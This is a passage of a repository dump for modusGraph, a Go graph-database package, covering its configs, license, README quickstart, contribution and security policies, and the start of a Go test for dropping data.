├── .gitignore ├── .trunk ├── .gitignore ├── configs │ ├── .golangci.yaml │ ├── .markdownlint.json │ ├── .markdownlint.yaml │ ├── .prettierrc │ ├── .yamllint.yaml │ └── ruff.toml └── trunk.yaml ├── .vscode ├── extensions.json └── settings.json ├── CHANGELOG.md ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── SECURITY.md ├── admin_test.go ├── api.go ├── api ├── apiutils │ └── apiutils.go ├── dgraphtypes │ └── dgraphtypes.go ├── mutations │ └── mutations.go ├── querygen │ └── dql_query.go ├── structreflect │ ├── keyval.go │ ├── structreflect.go │ ├── tagparser.go │ ├── tags.go │ └── value_extractor.go ├── types.go └── types_test.go ├── api_mutation_gen.go ├── api_mutation_helpers.go ├── api_query_execution.go ├── api_types.go ├── buf_server.go ├── client.go ├── cmd └── query │ ├── README.md │ └── main.go ├── config.go ├── delete_test.go ├── engine.go ├── examples ├── basic │ ├── README.md │ └── main.go ├── load │ ├── README.md │ └── main.go └── readme │ └── main.go ├── go.mod ├── go.sum ├── insert_test.go ├── live.go ├── load_test ├── live_benchmark_test.go └── live_test.go ├── namespace.go ├── query_test.go ├── unit_test ├── api_test.go ├── conn_test.go ├── engine_test.go ├── namespace_test.go └── vector_test.go ├── update_test.go ├── util_test.go └── zero.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool 12 | *.out 13 | 14 | # Go workspace file 15 | go.work 16 | go.work.sum 17 | 18 | # env file 19 | .env 20 | 21 | cpu_profile.prof 22 | -------------------------------------------------------------------------------- /.trunk/.gitignore: -------------------------------------------------------------------------------- 1 | *out 2 | *logs 3 | *actions 4 | *notifications 5 | *tools 6 | plugins 7 | user_trunk.yaml 8 | user.yaml 9 | tmp 10 | -------------------------------------------------------------------------------- /.trunk/configs/.golangci.yaml: -------------------------------------------------------------------------------- 1 | linters-settings: 2 | lll: 3 | line-length: 120 4 | 5 | linters: 6 | disable-all: true 7 | enable: 8 | - errcheck 9 | - gosec 10 | - gofmt 11 | - goimports 12 | - gosimple 13 | - govet 14 | - ineffassign 15 | - lll 16 | - staticcheck 17 | - unconvert 18 | - unused 19 | - typecheck 20 | - prealloc 21 | - nakedret 22 | - gochecknoinits 23 | -------------------------------------------------------------------------------- /.trunk/configs/.markdownlint.json: -------------------------------------------------------------------------------- 1 | { 2 | "line-length": { "line_length": 150, "tables": false }, 3 | "no-inline-html": false, 4 | "no-bare-urls": false, 5 | "no-space-in-emphasis": false, 6 | "no-emphasis-as-heading": false, 7 | "first-line-heading": false 8 | } 9 | -------------------------------------------------------------------------------- /.trunk/configs/.markdownlint.yaml: -------------------------------------------------------------------------------- 1 | # Prettier friendly markdownlint config (all formatting rules disabled) 2 | extends: markdownlint/style/prettier 3 | -------------------------------------------------------------------------------- /.trunk/configs/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "semi": false, 3 | "proseWrap": "always", 4 | "printWidth": 100 5 | } 6 | -------------------------------------------------------------------------------- /.trunk/configs/.yamllint.yaml: -------------------------------------------------------------------------------- 1 | rules: 2 | quoted-strings: 3 | required: only-when-needed 4 | extra-allowed: ["{|}"] 5 | key-duplicates: {} 6 | octal-values: 7 | forbid-implicit-octal: true 8 | -------------------------------------------------------------------------------- /.trunk/configs/ruff.toml: -------------------------------------------------------------------------------- 1 | # Generic, formatter-friendly config. 2 | select = ["B", "D3", "E", "F"] 3 | 4 | # Never enforce `E501` (line length violations). This should be handled by formatters. 5 | ignore = ["E501"] 6 | -------------------------------------------------------------------------------- /.trunk/trunk.yaml: -------------------------------------------------------------------------------- 1 | # This file controls the behavior of Trunk: https://docs.trunk.io/cli 2 | # To learn more about the format of this file, see https://docs.trunk.io/reference/trunk-yaml 3 | 4 | version: 0.1 5 | 6 | cli: 7 | version: 1.22.10 8 | 9 | # Trunk provides extensibility via plugins. (https://docs.trunk.io/plugins) 10 | plugins: 11 | sources: 12 | - id: trunk 13 | ref: v1.6.7 14 | uri: https://github.com/trunk-io/plugins 15 | 16 | # Many linters and tools depend on runtimes - configure them here. (https://docs.trunk.io/runtimes) 17 | runtimes: 18 | enabled: 19 | - go@1.24.0 20 | - node@18.20.5 21 | - python@3.10.8 22 | 23 | # This is the section where you manage your linters. (https://docs.trunk.io/check/configuration) 24 | lint: 25 | enabled: 26 | - trivy@0.59.1 27 | - taplo@0.9.3 28 | - actionlint@1.7.7 29 | - checkov@3.2.365 30 | - git-diff-check 31 | - gofmt@1.20.4 32 | - golangci-lint@1.63.4 33 | - markdownlint@0.44.0 34 | - osv-scanner@1.9.2 35 | - prettier@3.4.2 36 | - renovate@39.161.0 37 | - trufflehog@3.88.4 38 | - yamllint@1.35.1 39 | 40 | actions: 41 | enabled: 42 | - trunk-announce 43 | - trunk-check-pre-push 44 | - trunk-fmt-pre-commit 45 | - trunk-upgrade-available 46 | -------------------------------------------------------------------------------- /.vscode/extensions.json: -------------------------------------------------------------------------------- 1 | { 2 | "recommendations": ["trunk.io"] 3 | } 4 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "editor.formatOnSave": true, 3 | "editor.defaultFormatter": "trunk.io", 4 | "editor.trimAutoWhitespace": true, 5 | "trunk.autoInit": false 6 | } 7 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | 3 | ## UNRELEASED 4 | 5 | - feat: add readfrom json tag to support reverse edges 6 | [#49](https://github.com/hypermodeinc/modusgraph/pull/49) 7 | 8 | - chore: Refactoring package management [#51](https://github.com/hypermodeinc/modusgraph/pull/51) 9 | 10 | - fix: alter schema on reverse edge after querying schema 11 | [#55](https://github.com/hypermodeinc/modusgraph/pull/55) 12 | 13 | - feat: update interface to engine and namespace 14 | [#57](https://github.com/hypermodeinc/modusgraph/pull/57) 15 | 16 | - chore: Update dgraph dependency [#62](https://github.com/hypermodeinc/modusgraph/pull/62) 17 | 18 | - fix: add context to api functions [#69](https://github.com/hypermodeinc/modusgraph/pull/69) 19 | 20 | ## 2025-01-02 - Version 0.1.0 21 | 22 | Baseline for the changelog. 23 | 24 | See git commit history for changes for this version and prior. 25 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our community a 6 | harassment-free experience for everyone, regardless of age, body size, visible or invisible 7 | disability, ethnicity, sex characteristics, gender identity and expression, level of experience, 8 | education, socio-economic status, nationality, personal appearance, race, religion, or sexual 9 | identity and orientation. 10 | 11 | We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and 12 | healthy community. 13 | 14 | ## Our Standards 15 | 16 | Examples of behavior that contributes to a positive environment for our community include: 17 | 18 | - Demonstrating empathy and kindness toward other people 19 | - Being respectful of differing opinions, viewpoints, and experiences 20 | - Giving and gracefully accepting constructive feedback 21 | - Accepting responsibility and apologizing to those affected by our mistakes, and learning from the 22 | experience 23 | - Focusing on what is best not just for us as individuals, but for the overall community 24 | 25 | Examples of unacceptable behavior include: 26 | 27 | - The use of sexualized language or imagery, and sexual attention or advances of any kind 28 | - Trolling, insulting or derogatory comments, and personal or political attacks 29 | - Public or private harassment 30 | - Publishing others' private information, such as a physical or email address, without their 31 | explicit permission 32 | - Other conduct which could reasonably be considered inappropriate in a professional setting 33 | 34 | ## Enforcement Responsibilities 35 | 36 | Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior 37 | and will take appropriate and fair corrective action in response to any behavior that they deem 38 | inappropriate, threatening, offensive, or harmful. 39 | 40 | Community leaders have the right and responsibility to remove, edit, or reject comments, commits, 41 | code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and 42 | will communicate reasons for moderation decisions when appropriate. 43 | 44 | ## Scope 45 | 46 | This Code of Conduct applies within all community spaces, and also applies when an individual is 47 | officially representing the community in public spaces. Examples of representing our community 48 | include using an official e-mail address, posting via an official social media account, or acting as 49 | an appointed representative at an online or offline event. 50 | 51 | ## Enforcement 52 | 53 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community 54 | leaders responsible for enforcement at hello@hypermode.com. All complaints will be reviewed and 55 | investigated promptly and fairly. 56 | 57 | All community leaders are obligated to respect the privacy and security of the reporter of any 58 | incident. 59 | 60 | ## Enforcement Guidelines 61 | 62 | Community leaders will follow these Community Impact Guidelines in determining the consequences for 63 | any action they deem in violation of this Code of Conduct: 64 | 65 | ### 1. Correction 66 | 67 | **Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or 68 | unwelcome in the community. 69 | 70 | **Consequence**: A private, written warning from community leaders, providing clarity around the 71 | nature of the violation and an explanation of why the behavior was inappropriate. A public apology 72 | may be requested. 73 | 74 | ### 2. Warning 75 | 76 | **Community Impact**: A violation through a single incident or series of actions. 77 | 78 | **Consequence**: A warning with consequences for continued behavior. No interaction with the people 79 | involved, including unsolicited interaction with those enforcing the Code of Conduct, for a 80 | specified period of time. This includes avoiding interactions in community spaces as well as 81 | external channels like social media. Violating these terms may lead to a temporary or permanent ban. 82 | 83 | ### 3. Temporary Ban 84 | 85 | **Community Impact**: A serious violation of community standards, including sustained inappropriate 86 | behavior. 87 | 88 | **Consequence**: A temporary ban from any sort of interaction or public communication with the 89 | community for a specified period of time. No public or private interaction with the people involved, 90 | including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this 91 | period. Violating these terms may lead to a permanent ban. 92 | 93 | ### 4. Permanent Ban 94 | 95 | **Community Impact**: Demonstrating a pattern of violation of community standards, including 96 | sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement 97 | of classes of individuals. 98 | 99 | **Consequence**: A permanent ban from any sort of public interaction within the community. 100 | 101 | ## Attribution 102 | 103 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0, available at 104 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. 105 | 106 | Community Impact Guidelines were inspired by 107 | [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity). 108 | 109 | [homepage]: https://www.contributor-covenant.org 110 | 111 | For answers to common questions about this code of conduct, see the FAQ at 112 | https://www.contributor-covenant.org/faq. Translations are available at 113 | https://www.contributor-covenant.org/translations. 114 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to modusDB 2 | 3 | We're really glad you're here and would love for you to contribute to modusDB! There are a variety 4 | of ways to make modusDB better, including bug fixes, features, docs, and blog posts (among others). 5 | Every bit helps 🙏 6 | 7 | Please help us keep the community safe while working on the project by upholding our 8 | [Code of Conduct](/CODE_OF_CONDUCT.md) at all times. 9 | 10 | Before jumping to a pull request, ensure you've looked at 11 | [PRs](https://github.com/hypermodeinc/modusgraph/pulls) and 12 | [issues](https://github.com/hypermodeinc/modusgraph/issues) (open and closed) for existing work 13 | related to your idea. 14 | 15 | If in doubt or contemplating a larger change, join the 16 | [Hypermode Discord](https://discord.hypermode.com) and start a discussion in the 17 | [#modus](https://discord.com/channels/1267579648657850441/1292948253796466730) channel. 18 | 19 | ## Codebase 20 | 21 | The development language of modusDB is Go. 22 | 23 | ### Development environment 24 | 25 | The fastest path to setting up a development environment for modusDB is through VS Code. The repo 26 | includes a set of configs to set VS Code up automatically. 27 | 28 | ### Clone the Modus repository 29 | 30 | To contribute code, start by forking the Modus repository. In the top-right of the 31 | [repo](https://github.com/hypermodeinc/modusgraph), click **Fork**. Follow the instructions to 32 | create a fork of the repo in your GitHub workspace. 33 | 34 | ### Building and running tests 35 | 36 | Wherever possible, we use the built-in language capabilities. For example, unit tests can be run 37 | with: 38 | 39 | ```bash 40 | go test ./... 41 | ``` 42 | 43 | ### Opening a pull request 44 | 45 | When you're ready, open a pull request against the `main` branch in the modusDB repo. Include a 46 | clear, detailed description of the changes you've made. Be sure to add and update tests and docs as 47 | needed. 48 | 49 | We do our best to respond to PRs within a few days. If you've not heard back, feel free to ping on 50 | Discord. 51 | 52 | ## Other ways to help 53 | 54 | Pull requests are awesome, but there are many ways to help. 55 | 56 | ### Documentation improvements 57 | 58 | Modus docs are maintained in a [separate repository](https://github.com/hypermodeinc/docs). Relevant 59 | updates and issues should be opened in that repo. 60 | 61 | ### Blogging and presenting your work 62 | 63 | Share what you're building with Modus in your preferred medium. We'd love to help amplify your work 64 | and/or provide feedback, so get in touch if you'd like some help! 65 | 66 | ### Join the community 67 | 68 | There are lots of people building with modusDB who are excited to connect! 69 | 70 | - Chat on [Discord](https://discord.hypermode.com) 71 | - Join the conversation on [X](https://x.com/hypermodeinc) 72 | - Read the latest posts on the [Blog](https://hypermode.com/blog) 73 | - Connect with us on [LinkedIn](https://linkedin.com/company/hypermode) 74 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | [![modus](https://github.com/user-attachments/assets/1a6020bd-d041-4dd0-b4a9-ce01dc015b65)](https://github.com/hypermodeinc/modusgraph) 4 | 5 | [![GitHub License](https://img.shields.io/github/license/hypermodeinc/modusdb)](https://github.com/hypermodeinc/modusgraph?tab=Apache-2.0-1-ov-file#readme) 6 | [![chat](https://img.shields.io/discord/1267579648657850441)](https://discord.gg/NJQ4bJpffF) 7 | [![GitHub Repo stars](https://img.shields.io/github/stars/hypermodeinc/modusdb)](https://github.com/hypermodeinc/modusgraph/stargazers) 8 | [![GitHub commit activity](https://img.shields.io/github/commit-activity/m/hypermodeinc/modusdb)](https://github.com/hypermodeinc/modusgraph/commits/main/) 9 | 10 |
11 | 12 |

13 | Docs 14 | · 15 | Discord 16 |

17 | 18 | **modusGraph is a high-performance, transactional database system.** It's designed to be type-first, 19 | schema-agnostic, and portable. ModusGraph provides object-oriented APIs that make it simple to build 20 | new apps, paired with support for advanced use cases through the Dgraph Query Language (DQL). A 21 | dynamic schema allows for natural relations to be expressed in your data with performance that 22 | scales with your use case. 23 | 24 | modusGraph is available as a Go package for running in-process, providing low-latency reads, writes, 25 | and vector searches. We’ve made trade-offs to prioritize speed and simplicity. When runnning 26 | in-process, modusGraph internalizes Dgraph's server components, and data is written to a local 27 | file-based database. modusGraph also supports remote Dgraph servers, allowing you deploy your apps 28 | to any Dgraph cluster simply by changing the connection string. 29 | 30 | The [modus framework](https://github.com/hypermodeinc/modus) is optimized for apps that require 31 | sub-second response times. ModusGraph augments polyglot functions with simple to use data and vector 32 | storage. When paired together, you can build a complete AI semantic search or retrieval-augmented 33 | generation (RAG) feature with a single framework. 34 | 35 | ## Quickstart 36 | 37 | ```go 38 | package main 39 | 40 | import ( 41 | "context" 42 | "fmt" 43 | "time" 44 | 45 | mg "github.com/hypermodeinc/modusgraph" 46 | ) 47 | 48 | type TestEntity struct { 49 | Name string `json:"name,omitempty" dgraph:"index=exact"` 50 | Description string `json:"description,omitempty" dgraph:"index=term"` 51 | CreatedAt time.Time `json:"createdAt,omitempty"` 52 | 53 | // UID is a required field for nodes 54 | UID string `json:"uid,omitempty"` 55 | // DType is a required field for nodes, will get populated with the struct name 56 | DType []string `json:"dgraph.type,omitempty"` 57 | } 58 | 59 | func main() { 60 | // Use a file URI to connect to a in-process modusGraph instance, ensure that the directory exists 61 | uri := "file:///tmp/modusgraph" 62 | // Assigning a Dgraph URI will connect to a remote Dgraph server 63 | // uri := "dgraph://localhost:9080" 64 | 65 | client, err := mg.NewClient(uri, mg.WithAutoSchema(true)) 66 | if err != nil { 67 | panic(err) 68 | } 69 | defer client.Close() 70 | 71 | entity := TestEntity{ 72 | Name: "Test Entity", 73 | Description: "This is a test entity", 74 | CreatedAt: time.Now(), 75 | } 76 | 77 | ctx := context.Background() 78 | err = client.Insert(ctx, &entity) 79 | 80 | if err != nil { 81 | panic(err) 82 | } 83 | fmt.Println("Insert successful, entity UID:", entity.UID) 84 | 85 | // Query the entity 86 | var result TestEntity 87 | err = client.Get(ctx, &result, entity.UID) 88 | if err != nil { 89 | panic(err) 90 | } 91 | fmt.Println("Query successful, entity:", result.UID) 92 | } 93 | ``` 94 | 95 | ## Limitations 96 | 97 | modusGraph has a few limitations to be aware of: 98 | 99 | - **Unique constraints in file-based mode**: Due to the intricacies of how Dgraph handles unique 100 | fields and upserts in its core package, unique field checks and upsert operations are not 101 | supported (yet) when using the local (file-based) mode. These operations work properly when using 102 | a full Dgraph cluster, but the simplified file-based mode does not support the constraint 103 | enforcement mechanisms required for uniqueness guarantees. 104 | 105 | - **Schema evolution**: While modusGraph supports schema inference through tags, evolving an 106 | existing schema with new fields requires careful consideration to avoid data inconsistencies. 107 | 108 | ## CLI Commands and Examples 109 | 110 | modusGraph provides several command-line tools and example applications to help you interact with 111 | and explore the package. These are organized in the `cmd` and `examples` folders: 112 | 113 | ### Commands (`cmd` folder) 114 | 115 | - **`cmd/query`**: A flexible CLI tool for running arbitrary DQL (Dgraph Query Language) queries 116 | against a modusGraph database. 117 | - Reads a query from standard input and prints JSON results. 118 | - Supports file-based modusGraph storage. 119 | - Flags: `--dir`, `--pretty`, `--timeout`, `-v` (verbosity). 120 | - See [`cmd/query/README.md`](./cmd/query/README.md) for usage and examples. 121 | 122 | ### Examples (`examples` folder) 123 | 124 | - **`examples/basic`**: Demonstrates CRUD operations for a simple `Thread` entity. 125 | 126 | - Flags: `--dir`, `--addr`, `--cmd`, `--author`, `--name`, `--uid`, `--workspace`. 127 | - Supports create, update, delete, get, and list commands. 128 | - See [`examples/basic/README.md`](./examples/basic/README.md) for details. 129 | 130 | - **`examples/load`**: Shows how to load the standard 1million RDF dataset into modusGraph for 131 | benchmarking. 132 | 133 | - Downloads, initializes, and loads the dataset into a specified directory. 134 | - Flags: `--dir`, `--verbosity`. 135 | - See [`examples/load/README.md`](./examples/load/README.md) for instructions. 136 | 137 | You can use these tools as starting points for your own applications or as references for 138 | integrating modusGraph into your workflow. 139 | 140 | ## Open Source 141 | 142 | The modus framework, including modusGraph, is developed by [Hypermode](https://hypermode.com/) as an 143 | open-source project, integral but independent from Hypermode. 144 | 145 | We welcome external contributions. See the [CONTRIBUTING.md](./CONTRIBUTING.md) file if you would 146 | like to get involved. 147 | 148 | Modus and its components are © Hypermode Inc., and licensed under the terms of the Apache License, 149 | Version 2.0. See the [LICENSE](./LICENSE) file for a complete copy of the license. If you have any 150 | questions about modus licensing, or need an alternate license or other arrangement, please contact 151 | us at . 152 | 153 | ## Acknowledgements 154 | 155 | modusGraph builds heavily upon packages from the open source projects of 156 | [Dgraph](https://github.com/hypermodeinc/dgraph) (graph query processing and transaction 157 | management), [Badger](https://github.com/dgraph-io/badger) (data storage), and 158 | [Ristretto](https://github.com/dgraph-io/ristretto) (cache). modusGraph also relies on the 159 | [dgman](https://github.com/dolan-in/dgman) repository for much of its functionality. We expect the 160 | architecture and implementations of modusGraph and Dgraph to expand in differentiation over time as 161 | the projects optimize for different core use cases, while maintaining Dgraph Query Language (DQL) 162 | compatibility. 163 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Reporting Security Concerns 2 | 3 | We take the security of Modus very seriously. If you believe you have found a security vulnerability 4 | in Modus, we encourage you to let us know right away. 5 | 6 | We will investigate all legitimate reports and do our best to quickly fix the problem. Please report 7 | any issues or vulnerabilities via Github Security Advisories instead of posting a public issue in 8 | GitHub. You can also send security communications to security@hypermode.com. 9 | 10 | Please include the version identifier and details on how the vulnerability can be exploited. 11 | -------------------------------------------------------------------------------- /admin_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Hypermode Inc. and Contributors 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package modusgraph_test 18 | 19 | import ( 20 | "context" 21 | "os" 22 | "testing" 23 | "time" 24 | 25 | "github.com/stretchr/testify/require" 26 | ) 27 | 28 | func TestDropData(t *testing.T) { 29 | 30 | testCases := []struct { 31 | name string 32 | uri string 33 | skip bool 34 | }{ 35 | { 36 | name: "DropDataWithFileURI", 37 | uri: "file://" + t.TempDir(), 38 | }, 39 | { 40 | name: "DropDataWithDgraphURI", 41 | uri: "dgraph://" + os.Getenv("MODUSGRAPH_TEST_ADDR"), 42 | skip: os.Getenv("MODUSGRAPH_TEST_ADDR") == "", 43 | }, 44 | } 45 | 46 | for _, tc := range testCases { 47 | t.Run(tc.name, func(t *testing.T) { 48 | if tc.skip { 49 | t.Skipf("Skipping %s: MODUSGRAPH_TEST_ADDR not set", tc.name) 50 | return 51 | } 52 | 53 | client, cleanup := CreateTestClient(t, tc.uri) 54 | defer cleanup() 55 | 56 | entity := TestEntity{ 57 | Name: "Test Entity", 58 | Description: "This is a test entity for the Insert method", 59 | CreatedAt: time.Now(), 60 | } 61 | 62 | ctx := context.Background() 63 | err := client.Insert(ctx, &entity) 64 | require.NoError(t, err, "Insert should succeed") 65 | require.NotEmpty(t, entity.UID, "UID should be assigned") 66 | 67 | uid := entity.UID 68 | err = client.Get(ctx, &entity, uid) 69 | require.NoError(t, err, "Get should succeed") 70 | require.Equal(t, entity.Name, "Test Entity", "Name should match") 71 | require.Equal(t, entity.Description, "This is a test entity for the Insert method", "Description should match") 72 | 73 | err = client.DropData(ctx) 74 | require.NoError(t, err, "DropData should succeed") 